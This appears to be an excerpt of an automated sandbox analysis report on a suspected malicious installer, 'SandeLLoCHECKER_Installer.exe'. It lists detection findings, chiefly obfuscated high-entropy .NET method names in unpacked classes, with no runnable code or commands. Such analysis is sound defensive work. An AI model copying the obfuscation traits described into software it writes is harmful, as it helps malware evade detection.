Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB50 push eax; retf	3_3_00E3CB51
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB50 push eax; retf	3_3_00E3CB51
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB50 push eax; retf	3_3_00E3CB51

Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, abDY9GRGyg7f4yrWnjk.cs	High entropy of concatenated method names: 'kpRPpwwKqWG', 'Wn4PpiPC6GN', 'RwCPpnmA2AR', 'b8SPpDd8hTh', 'lsAPp0qG7E3', 'faFPpSmrjq2', 'HJsPpuHx8Vp', 'rFSsglSHDe', 'mLAPpKnUNSw', 'HgIPpYUTfQD'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, znkgM3cwPre93RMCK8F.cs	High entropy of concatenated method names: 'eqUc01u8N6', 'wd8qoLPJLnRNIq6lhauL', 'CNUUbYPJtQfqB9XSVLRR', 'sa5M5WPJ9c23Q6xcFdJE', 'U4ajoYPJGKCjg5pPw8Z0', 'HdAcnQoTcE', 'trKYPfPJf3WV40X6vyZm', 'Mqbh5JPJdtfUHY8SEoNr', 'PSF757PJr9GI16xPYsCG', 'pNUeJePJMZQdNv1CWhFL'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ziySaMVDCdNjkOtZs2x.cs	High entropy of concatenated method names: 'LXrVRKU7wo', 'LvjVsFdhyP', 'a2rVzWFmGY', 'B1D1ZpPOW8VYE8A6XTOX', 'YRGewlPFsuVBfjKEP6c0', 'rJrG26PFzhuneue8FnsQ', 'K3mmbHPOPDNUKlIuhrtj', 'NBxVSBouA6', 'RqpVuOAGrX', 'eS7VKDJmOn'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, m4c2PUPK5NOdm1GvelW.cs	High entropy of concatenated method names: 'io8', 'V29', 'j67', '_2Q4', 'pi9', 'n25PyNVLD2w', 'QVHPcnQW3if', 'YMQ3DFP5F55ZpMn7A3cS', 'hFm5pTP5OJ122y90bpwN', 'RLqVTJP5lDL2E3XrtGpB'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, KFhDdQXl4CTqNpWnehx.cs	High entropy of concatenated method names: 'QNxXeCgKjk', 'GsvXwAt1Zh', 'cHJXiJ1qkM', 'WZYk5HPrdOhGsPEs9B84', 'wYyKlZPraQ9B5H59FyCY', 'yCEL5mPrMyOESSKoD6YZ', 'nbSEJhPrf0nFTIUuNYk6', 'mygXMocUXg', 'x5UXfInAx7', 'MR2XdHQjGT'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ewK7Ahjg5iZ7ySTcASH.cs	High entropy of concatenated method names: 'gMAjTjnZJa', 'vpscK7PdcFMMhDAv8P43', 'fHOqOmPdPJrSQ4ZO1msf', 'VbLDkePdE5fFKdBPDfPe', 'NUiswePdV2Ocg789SIyg', '_53Y', 'd65', 'HwyPV3xxC8E', 'n8sPVAnoDWQ', 'r1mPyOkiMh9'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, sVBTcKcRE6Eyar98VXX.cs	High entropy of concatenated method names: 'NryVHQx4RV', 'OCwfVQPFHtKo1MUOdfOB', 'SQwSEHPFI5UfwJpInuxy', 'NA6o3tPF7RAJp6APn8fr', 'fiUcigPFTejtculTI4MQ', 'r33OtPPFNlXJ3j2wjBO6', 'MwpDvdPFBvPpx8tHDrwx', 'xFRkoXPFhjKYubQGspwv', 'dYnVmvXQRu', 'ElWr9IPFmgvM7V06Glwc'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, jVT1kEbpryENVM7Vo5g.cs	High entropy of concatenated method names: 'EUVBL6PaqfhRrXmCrP9Z', 'InDJgUPa1T6WanV9Z6Dq', 'avYUhnPa5FwOmJDnfFZS', 'AKexRnPaAIxlomGsj1bt', 'DolsqwPa2D3IaZjhDZ1n', '_7kT', '_376', 'fEhby9keH6', 'ua7bgtG1rN', '_4p5'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, odxcbTFWONU0d3tHtVr.cs	High entropy of concatenated method names: 'a4Q', '_6h5', '_4fY', '_32D', 'j7E', 'Lr9', '_7ik', '_9X3', 'g6m', '_633'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, T1AIQcB28mfR3LUeL3B.cs	High entropy of concatenated method names: 'vNq', 'O3Q', 'a43', 'V8g', 'g39', '_9By', 'h74', 'fl2', '_4L8', '_8e1'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Eo0VmvJcV1IdMO2pbfQ.cs	High entropy of concatenated method names: 'Qe6JxfWSJV', 'TeQJpj9esO', '_7Bm', 'LNDJXm8FIg', 'kLJJyCCOBC', 'G29JgD5Ixo', 'pZWJjQTkCy', 'qifL12PwupQtTr7bsca0', 'EFYtRsPw0oxqXQ5naeJs', 'H23ma1PwSC6QmKkGvCkZ'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, k5jFZW5jR0PyX7ZoCXu.cs	High entropy of concatenated method names: 'uGR5UWORiN', 'wMF57j2O35', 'q5x5TgdsNU', 'KBOOUePe7Tkvv9fb7dFE', 'dw9B8nPeb2yqP5ilhaEJ', 'Ad9wByPeUVCAuLhQtpwm', 'Qd15U8PeTi7w8mdVyDE1', 'SkELHtPeHgclDGmlvfL0', 'XQZSi3PeIavsgSj94h19'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, E2qdPJSsFMI7QjjsXIL.cs	High entropy of concatenated method names: 'QkFuEdO0li', 'X85ucnjoiq', 'fSUxg4PRWrbcrF3xXKBa', 'hd73UjPRPUST8HivVJBd', 'KVm6KRPCsuUtpSi0DFDl', 'ecIebQPCzVh80IYxZeId', 'UfXuP7PRExPssbfcOq4r', 'p4hrjGPRcTdQeYiJOMxM', 'TgVuWJ3OYr', 'I92KgfPCYhjunGqjvZVM'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, RjVcLHVtj4BmWPjJctG.cs	High entropy of concatenated method names: 'kGEViiAoU3', 'vUaOdtPFDR8opQY1WdDd', 'SfvMhOPFint7Bjg8k7c5', 'Tn2xwDPFnDm3Sry5Y7oK', 'temqQvPF05AJhlQ3Hdmc', 'tmkVLW7o5Z', 'YHcVGMxuyv', 'r7oV66LpEi', 'MZfDv4PFo2kW5C7u4xXc', 'RsfNqmPFGj9voBjiXnA9'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, LIEeeIHN5SZITMIosm7.cs	High entropy of concatenated method names: 'Cj1', '_1Td', 'Cz6', 'ht3', 'sv8Hk9DpOF', '_947', 'CtZHZ1Jg5Z', 'aWfHm0t6qN', '_1f8', '_71D'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, q3Tm1V84cgFceQ7t8Y5.cs	High entropy of concatenated method names: 'zgN89Ztk9c', 'FCd8LLjGaa', 'Uoj8GKrZoC', 'Plj86DZ9CO', 'PoC8oimu9w', 'XKX8eMafSL', '_4tg', 'wk8', '_59a', '_914'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, gWCxaAcMGFMN0bdFKIJ.cs	High entropy of concatenated method names: 'eMAcdCZdNm', 'IuqcawAU8C', 'cDCc4i5LVc', 'J9cctobX3P', 'eWGc9U273p', 'jFWcLEK0nN', 'nbicGn8gJr', 'mmkc6Gh1fn', 'uOXco44UNm', 'xQlcecXoHi'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, t1h4gDEGW5hhlnIG4Bn.cs	High entropy of concatenated method names: 'mxSERPWWWn', 'YGtEsA30L1', 'jcnEznQtrJ', 'C6tqScP8edugARUoHwPG', 'CVeiFEP8wPR73wACaTQO', 'L5DTBuP86nasEG1bV007', 'CQAEmwP8orWhdsSMHMYG', 'AKbcxyAofY', 'uymOZyP80275E8qpLBy7', 'ndmLfOP8nx7K1PBaeSBn'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ErgUfTgFXGMiHiP2RAN.cs	High entropy of concatenated method names: 'NwbgtrQkhe', 'nT56laPfAqvRcLf3eUTA', 'DJiVw4PfmVgqTwZ9JLZt', 'OeliAKPf3CY0lkp7este', 'CU0qHVPf2nLV8dUWAYgo', 'UU8', 'd65', 'tVHPVTtcZKl', 'KXhPVHOucYS', 'QrlPy1udXr8'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, gQYGIKTODJoiO1YPjEb.cs	High entropy of concatenated method names: 'j9l', 'D5ZTrucWDm', 'VSeTMFTT1y', 'kiFTfq9yxH', 'QLLTdM47LM', 'LTiTaVm6O4', 'zHoT4HdlLg', 'XQtKhUP4MgQIIA5N2XIy', 'FRnFwxP4leBbNDhLqjyG', 'kTw5EdP4roCqkr9bYKca'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, kLZ2jNJdu5Ruburi3qv.cs	High entropy of concatenated method names: 'eywJ4ltW31', 'nSaJteT9Wg', 'RlAJ9Kf5ci', 'pICJLfKNO4', 'qb5JGsJPSd', 'PmVeXMPidnNDGqUx1XFB', 'ylRGZfPiasr8yGmlRPhL', 'xjLMYMPi4sXuLjNOU3Bu', 'Q2cFUpPiMmOKs7ChjGXl', 'h4LhC8Pifp14Th9el0va'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ldcjMbmf4ptGYfkC3Je.cs	High entropy of concatenated method names: 'P7g122df8q', 'ceE1qhQxM1', 'qPWN2lPo4I0seI3vyEQh', 'y4SjjAPodekMa36nYrO9', 'r1cNCfPoaAWRrq2hSCb4', 'i26lrCPotBebOCZaNqDE', 'fkxFWYPo9fvgKL0hP91w', 'CQM1O5Ja4o', 'Jau3RkPooMPoVapmkkXI', 'W8QVtCPoG1HmP54dmbtA'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, kWL9fquUKMDEWs65kHS.cs	High entropy of concatenated method names: 'jCHuTmWEi4', 'OQmuHTuHoa', 'J9RuIHhju6', 'hYIuvLxZ9J', 'rHTuBvMdwm', 'EEKuhacLnA', 'nwgwSiPRbgyxEak2IpPd', 'gtG0tePRUmoeik0rhH8E', 'sWcQSwPR7nAsYAH58FEt', 'VYJG9LPRT4WnfEAo7f80'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, REpan950nVEFhCln2AL.cs	High entropy of concatenated method names: 'j8w5ubdp9T', 'mLi5KU2ndq', 'AnJ5Yd5Bvc', 'k4I5CAUbLS', 'ylV5RbpwIm', 'x135sZ0q3P', 'P4i5zTX7LM', 'HBI8WoJ5vO', 'xsx8PLkffS', 'BQI8EXswef'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, yUF9uLX3XgOu2HkrcHa.cs	High entropy of concatenated method names: 'BhNXJGJQ6s', 'zoqteIPrNnbRUoSjcdSk', 'DCoVM7PrQrpoT7kVpMR1', 'zVZja3PrBBaGS2ug3b7B', 'eWowTJPrh3UgLyoktxxH', 'oV9Ne5Prk45QHhpukcPr', 'cRdX2nHdRG', 'fN0N0BPr7sh7xUU9tbBY', 'GQQ7v6PrTpLEXBpuLoOA', 'FMCBmsPrHaowKlFFUS1k'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, qx5yHtEIt4HuZnlhHCm.cs	High entropy of concatenated method names: 'CisEBhunfP', 'LeOEhLwvEF', 'z9mJLxP5skMg0dJu8iu2', 'HW9xLgP5Ct9ukOiwi62Y', 'MetWpuP5RRFiShsmVxBr', 'p1O1umP5z9q1hyP6bCPe', 'aQP6EfP8WrM4pKbfAuAK', 'Es3N5eP8PLvASwdEHVaJ', 'Qe2DEZP8EoyRFFJLbige', 'wMasd9P8cBhjepL13jaZ'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, eSZhVpbJOTK8i2QFxuQ.cs	High entropy of concatenated method names: 'eCd7NnHBb2', 'EZvAoePaKYqdemwX4xU8', 'EAJhSBPaYraAKa3noXA3', 'XbIlKLPaCsvVBvnlE04e', 'IgNlNwPaREwKvrtCTVei', 'veFbOsFfyE', 'Vy7blM5ZVj', 'hP6brbjrSN', 'pDHbMEfyng', 'mTMbfyCXW6'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, vWskwO58ujX1sV0cH8T.cs	High entropy of concatenated method names: 'r4D5FC5mkA', 'aiGeqgPefUVA0q35gHxK', 'ehpSHFPerkVC03Tp229d', 'QKFTsyPeMOpIMdLgZvUV', 'wxU6dmPedEjWar5bu3tK', 'ik9AAIPeaXgKYqObOyuF', 'oItMvjPe4LmAC748YHTn', 'guKOXoPetRyTK13Dfkwk'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs	High entropy of concatenated method names: 'TIZyO7PRwFRIK9mYUKnO', 'frsROhPRiFheONIBp5UF', 's9CCCig2eG', 'o2f7OYPRSws2MAsGFKZ0', 'GXuOMOPRu5n2JKEGEU5Q', 'I7NjNTPRKLAio12PbE8P', 'HItLcyPRYVpZbkMYA3Ab', 'dbNaALPRC7dStIJxtrBK', 'u5nu6bPRRXei5JTmKQ0E', 'JIAsMdPRsEt3FBVaUy0a'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, SG1yZQgm39el4bWZosj.cs	High entropy of concatenated method names: '_64Z', 'd65', 'KspPy2Q3gPv', 'QdTPVWV2OZ4', 'nOJgAHtLos', 'xls5oZPfxmlQ7qJZeef1', 'mZTsm5PfptnLqDpDELI7', 'uCIE25PfXsRSDNZatNew', 'IdrZuMPfyf0xKvLUAioR', 'iApkJiPfgexQFVBbHFG4'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, FchRb1SVZ7N7a93JpwO.cs	High entropy of concatenated method names: 'udfSp0WoYS', 'aeJSXOrcXf', 'GdLSym0kKf', 'ctmSgEfuFN', 'pQjSjKABD0', 'Lg4Sbb7JjD', 'aoaSU8sjas', 'DhsS7gafWl', 'YImSTXlB5d', 'DH3SHwBGA0'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Nuy0qpj60KsKbdtiNsb.cs	High entropy of concatenated method names: '_34V', 'y7u', 'uSuPyaw2jcb', 'oMHjeMhEfP', 'gt1', 'GIdHtRPdolFitbkJUa2x', 'r7fvTKPdGEfXHkw7rTPk', 'KOOMP4Pd60Eevw8uvf2W', 'kAxml7PdesBd2Pp9UaD0', 'aU57BAPdwuJRlV9EHFbx'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Ej0Xy6d9on9wNkV3GZf.cs	High entropy of concatenated method names: 'bURdGc5lpS', 'acyd6Zr7an', 'LJkdouwoIw', 'UgOde6qjmP', 'kpJdwQFyO9', 'R1DdiPlNLy', 'p2RdnafAjs', 'h4ddDBSxpg', 'gRFd0rq3Oi', 'xiKdSFD3pv'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, q8HY0wjaUJ8pLk18fTc.cs	High entropy of concatenated method names: '_2SY', 'vEkPyfpmO2u', 'eZEjtu11k8', 'L4WPyd7F5Rn', 'oWW7N0PdfOYbm663OpqC', 'vctUN5PddhAb0tUrX7BO', 'ssJlW8PdrQmaUCyaIn9A', 'ENP97iPdMUYQjvuNnWdG', 's7joQjPdaPoEIyv101oy', 'FgBbbTPd4eDPbuXyIhkL'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, qYWRDXOpUgncqEf7rRI.cs	High entropy of concatenated method names: 'NTKCYOPnYEwbxbvTvJUr', 'ksG9koPnuZ8fVvMMnmAq', 'iXeIUwPnKEShLfpNNq7R', 'UqclCgPnCLC9l9w6kvQC', 'BF7OyUtk3R', '_1R8', '_3eK', 'lpPOg5ILs7', 'gfdOjpce6w', 'hwOObfE2Pq'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Hijtm5rwIlRCPNqqVvc.cs	High entropy of concatenated method names: '_25r', 'h65', 'jPPrngxSfR', 'R4UrDRAUDa', 'NtFr0o3irY', 'AWD', 'd78', 'A6v', 'dqG', 'M96'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, nG0f7XaQOOUwKKI15KW.cs	High entropy of concatenated method names: 'ixLvtmPSCpFB3DdhdsJA', 'qGUKCrPSRN28cGwFgZE5', 'uCnpjKPSKXyZd0xyjpBf', 'og4jQpPSYFykL9OSQV4a', 'LdZe12PSDFb98rdIypfd', 'rUNcWAPS0mA9i5EwxA7J', 'k8NANQPSSDI2DiI79fAd', 'bb4TxEPSi6HNEcu4v3ud', 'ie9VH1PSn3nZjsgYk6eg'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, h1AqtqghrhGCwqBVqW2.cs	High entropy of concatenated method names: '_816', 'd65', 'PhlPVXrBn6c', 'E8OPVy7KTfk', 'h48PyAGWT6T', 'QdTPVWV2OZ4', 'oeioKhPfPcxFvdef4WjQ', 'uBnHYkPfEbsa8LgK3OGe', 'V8MNMUPMz6qJabZEfmVJ', 'iCSDLgPfWqXyB3s5shOn'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, DqUJLocjGfEu5kLhkth.cs	High entropy of concatenated method names: 'aohcUgfLfj', 'KyDc7rPo5J', 'ybOcThAaay', 'bM24G7PJWsNXqwqVqi6F', 'LY0aUDPJPNcYmWmvcX28', 'DueTbFP8s65OnKq6IAHZ', 'GSHB3MP8zd1LM8cdKckG', 'Nb7yhyPJEKZeZgh1Or3P', 'fn1P8WPJcX1gM9gkG03i', 'BnYPPxPJVnw3SuBU4Q6F'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Rd7bUtFOS2LXqMvDbtJ.cs	High entropy of concatenated method names: 'LQgFrL0v2X', 'Fg2FMCqDYV', 'fstFf1w7r8', 'Y34', '_716', 'p32', 'Na8', 'X25', 'pT1', 'Qa2FdmuJsP'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, r3dttWjIO977RG8ERRe.cs	High entropy of concatenated method names: '_5t1', 'd65', 'oT4PVqiN1A2', 'DH7PV1qjeJC', 'bwAjBh6HkR', 'cARPylmVrKS', 'QdTPVWV2OZ4', 'IXIeGsPdpi1n8wTFChFL', 'Qn228GPdXq34uXeixhcP', 'KOiIsCPdyme1TvPewXvS'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, O2LsuHnD7eKXV8tTYpV.cs	High entropy of concatenated method names: 'rXSPyo5KlCO', 'CDUnST80XV', 'KCrnuM4mPQ', 'EQenKVxC9t', 'ehEEaiPuSgDksUkxwWM5', 'Ouxdg6PuuKIfAcPRGiDQ', 'BdR4cDPuK3yvwHy8EOA1', 'Bx6tg0PuYQZiiLYZ5A5H', 'IwJl8FPuCTfmiQAwq6Tt', 't1dAApPuRqeE0VmwEJGd'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Ml2j2lF11FrlMtr5Vhp.cs	High entropy of concatenated method names: '_57l', '_9m5', 't8K', 'k49', 'p65', '_3B1', '_4Pp', '_3M7', '_7b3', 'fAL'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, u0ZCQmD2P7aBhNr4Ty8.cs	High entropy of concatenated method names: 'Xyb', 'Sz4', 'zej', 'IvTD1n1iv8', 'CIV7ovPKDgG9hCTX47is', 'lBLIIoPK0jusImTyhdr9', 'm1k0uvPKSEb9JgPdMy8Q', 'vwIeX3PKunPejgSmBCXi', 'eo0sWmPKKYKmfIgsZpEi', 'BdFUYkPKY0IUsReIlQYI'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, CZgC3ggukDME7ZdFasJ.cs	High entropy of concatenated method names: '_46E', 'd65', 'ODMgY8dNfK', 'uvHPyJkx6dl', 'QdTPVWV2OZ4', 'LJugCrLJVc', 'adOsBqPftgGsWuav9caL', 'FWdpghPfa2mpGlG3wSew', 's62gI7Pf4l3XfC2jX5jt', 'nNmkoxPf9OwncxFNDNpR'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, MLrFvB5QhaBS5oP7tqe.cs	High entropy of concatenated method names: 'EwR5ZYBCt7', 'XfX5maTfE1', 'TdN53agmBG', 'YMl5AO2Wbx', 'XvN52vMyIr', 'Btn5qHx5S9', 'jJXWHBPeAiiiVMf57HlL', 'H5a18ZPe2tW7C9A9hfvE', 'VPNWZsPeqrkPfPoyTbPy', 'Jeng3uPe1R3hcRPOxeTK'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, DG7CAjg11v9voFo0UIE.cs	High entropy of concatenated method names: '_71a', 'd65', 'eFGPVbdBhYi', 'LpOPVUjWosJ', 'Xw3Pyqys44Z', 'QdTPVWV2OZ4', 'xpu9tjPfbjh056SxDEQR', 'JJ1Cl3PfUIlPPa5TGVed', 'buDspJPf7eFkAbGuND5C', 'XWEkLsPfTkfaOsC1xIwH'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, D4Ehs2lmHmrfxki3xMn.cs	High entropy of concatenated method names: 'hvYrII8nwR', 'dG8Y8rPDjkV7orXKgWPF', 'ilBbv1PDbvTYhJ1bkXHD', 'i5X', 'E4blA3YNJm', 'W93', 'L67', '_2PR', 'p6J', 'Wxw'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ywClWgIzK9tSHfqUg3D.cs	High entropy of concatenated method names: '_26K', '_1U7', '_5gR', '_58D', 'H8v', 'wmEvPyjqLn', 'KujvEKmfa7', 'gY2', 'rV4', '_28E'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, S8oHA1gzNokh1w73vVe.cs	High entropy of concatenated method names: 'UtgjpuEmFk', 'iIL2ZCPf0FfR6Ff71FrK', 'nrlD38PfSL7DmR83yaUp', 'ywy08QPfu3DtnubUqPOS', 'eq7', 'd65', 'gFgPVkaeUfY', 'yGGPVZKuNb8', 'n1RPyF36bDy', 'QdTPVWV2OZ4'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ut9c1OBEeLy1RdKL830.cs	High entropy of concatenated method names: 'fboBBtWK0Z', 'wf9BN6Uhv7', 'gKDBV7MyOs', 'VUeBxMMLT0', 'yRvBpSK6QQ', 'k8JBXG9hkW', 'hXLBydv7ts', 'wOFBgvKYht', 'eLPBjcIHR6', 'KSYBbCWok7'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Hqi5RUPw1HDt3StWY5b.cs	High entropy of concatenated method names: '_413', 'V29', '_351', '_2Q4', 'H7R', 'G81Pyhntxwk', 'QVHPcnQW3if', 'ldwT9vP5mMjO7KsMnveW', 'XtgGd7P53FVUu8Oc6MGC', 'iYfyk2P5A5GsgFh5UIQM'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, vaKqEbJ6liK7hxUqnyV.cs	High entropy of concatenated method names: 'AEm', 'by1', 'onbJeYpAAP', 'uM7', '_197', 'rZu', 'Q1J', '_24u', 'U67', 'xj7'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, z1pPglzrigX3shbgBD.cs	High entropy of concatenated method names: 'M8GPP7Y8K7', 'JE0PcRqfdQ', 'qvEPVg8Q7W', 't0YPxPFReg', 'QycPpFiqUp', 'y42PXu1xT4', 'gTCPgTpVM4', 'MkeQpgP15K2iNgtqnIJ8', 'RDu9e9P18QRrLR0ulyT4', 'Ud103GP1JOSZaFyrA8lf'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, VRgCjdPhhi5tyxNrren.cs	High entropy of concatenated method names: '_1ay', 'V29', 'FLl', 'QUh', '_2Q4', '_68a', 'tDAPyHm2hhR', 'QVHPcnQW3if', 'hPSFKQP16hiLtkTH0SDN', 'gvHF7DP1owEPhK3Ca7pT'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, eUjsYt7GgWRbVxCPNOs.cs	High entropy of concatenated method names: 'XPv7op5VsR', 'bdJ7eacurm', 'Bd67wIUkM8', 'xl07iOSPTH', 'sBp7nmjpnQ', 'ycm9lqP47G3eSPCr97rP', 'D1WOySP4bv5hjTuDM3lM', 'C0sCuAP4UHQB9uU4iaXw', 'MuDdisP4ToDoSyG7CjiH', 'OPu6v9P4HEAHoDJXLgms'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, nWjnhvjl5eaYuLm9M2m.cs	High entropy of concatenated method names: 'Yi3', 'VeXPyrdOqL5', 'Rj5jMxCXAB', 'HJyPyMCE6qd', 'lBvAu4Pd54lfIaspwG9w', 'GgUAmIPd8vhSljl8JPqE', 's7xJxPPdqMHrrCCJDOlH', 'GOMlZ7Pd1m1NQw48RaIJ', 'y7BOQGPdJL7djwToAq7b', 'BqiYTXPdFiWtDn0I2NTe'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, K0wwMppXdT2og4pdbSv.cs	High entropy of concatenated method names: 'PXDpQoa5xr', 'R6qpk9S9aq', 'Qb8hafPlT6UIQyUS44PH', 'QmRUJSPlHQfe46laBiKw', 'i9gavUPlUr4x816NMH3D', 'yi9jwrPl7gnJyT54kAqs', 'UF8pBvLuyo', 'KXOphK9h5j', 'c5f6PfPlgnPBprwWhNUy', 'f5FM1qPlXA3Hj4YrP48K'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, B2ihpQvm6fdtsVho345.cs	High entropy of concatenated method names: 'hsvvocURc3', 'atFvALfYaA', 'P2iv20CH2c', 'uXUvqEO5bd', 'UvDv1Q9IWQ', 'NhRv5t7ZKe', 'dPAv8EMIU6', 'eUqvJV7pvP', 'bc5vF5OU5f', 'DiNvOIUAlH'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, L3m1kGcvfCGO31E7gwI.cs	High entropy of concatenated method names: 'Cpac5b05M5', 'FkJc8FmHjM', 'MxjcJMDeqD', 'nvErm3PJkeJTqg9H6uG9', 'ERaTuAPJNCqYGFoUQj66', 'dGdh00PJQ1Hv5HrWYxwN', 'wW3X8rPJZkSv8xDHA4kc', 'bD5cANn0DW', 'zoRc2mWX7J', 'SD85TWPJBHUhCeFlDkuQ'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, HBQsP85c64bCVlE0V96.cs	High entropy of concatenated method names: 'vur5xgGfmI', 'kxR5pJAJT5', 'TXd5XbtsRr', 'THM5yRdWMB', 'tbj5gLmLs8', 'bIOgcVPeVV53Jbj6hEag', 'MSv0TgPexOq8VpaHDuHl', 'oNSt5IPepPRw5TVoIfdj', 'YnixC8PeXYGHuOVERTNx', 'T57S0vPeypo2DMBtVpOW'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, evoSWjV2x1KrAWWYkSX.cs	High entropy of concatenated method names: 'QIOV1pk6mF', 'WcLV5acqDV', 'blXV8WLfLi', 'XW6VJVMpJM', 'DC1x6yPF1oPwwNYgkFGF', 'hMnqQyPF2TAwxsfGtlXi', 'yelVWwPFqVhsjIZmSaAg', 'UhMPwvPF5g0c8X6wkRqu', 'wFQEGuPF8We0nb8X07Ds', 'bmGvvRPFJO4hYAsL2OMv'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Q09Tr8MyGCmjnDf1hJI.cs	High entropy of concatenated method names: 'Ge3MjqOyyM', '_64r', '_69F', '_478', 'QcLMbhG9lO', '_4D8', 'A1gMU9NgYT', 'gpuM7NxJay', '_4qr', 'e5bMTEb4Qq'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, jU5Xcb077lu5uCeTr5D.cs	High entropy of concatenated method names: 'la9PpdYN8Ax', 'Qo8Ppay0dSD', 'K7iPp4hc2j8', 'UyPcg6PYYBg6yDsaSPVv', 'xS4eZcPYurrAS87O3IZU', 'PdkkxvPYKYAdRHxZhf8r', 'iDbdlVPYCfJM5g0BOjtV', 'QDZPye16rQy', 'Qo8Ppay0dSD', 'fV3wipPCWWhlvMopW6MI'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, mJayVMXugotKSN9LcZF.cs	High entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'ML3jbjPrwRo7LMJCEnKm', 'YJZx8JPrilwhlQuAAliQ', 'BiJJNrPrnGoBu4xi9pw6', 'zNdpYWPrD0tyowHaIf89'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, g0QXCGDFWYE7Wyq3Zvf.cs	High entropy of concatenated method names: 'ELODrGhT54', 'aZRDabNpf3', 'qXyD9YBhSD', 'JtFDLQoYMw', 'Dv7DGSNO6n', 'MyqD6H2hmU', 't1lDo3eNMk', 'q3nDeOiuKc', '_0023Nn', 'Dispose'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, FAUtgjxeQ441jYkI93F.cs	High entropy of concatenated method names: 'XvjxC26loh', 'FNJxRjeflK', 'aPgPFWPOebxs0lB7vvj3', 'iG9Km7PO6CD3Rkq4IA4D', 'rNsx0vPOo2H7rEICD9lc', 'OWLxRdPOwiGExS0mogvR', 'IIYpPNnNNN', 'hGhhvUPO0kn5xnZu7psS', 'EATquQPOnp9LyOVYbva6', 'g4Z7S2PODEcXJWUBDTuM'
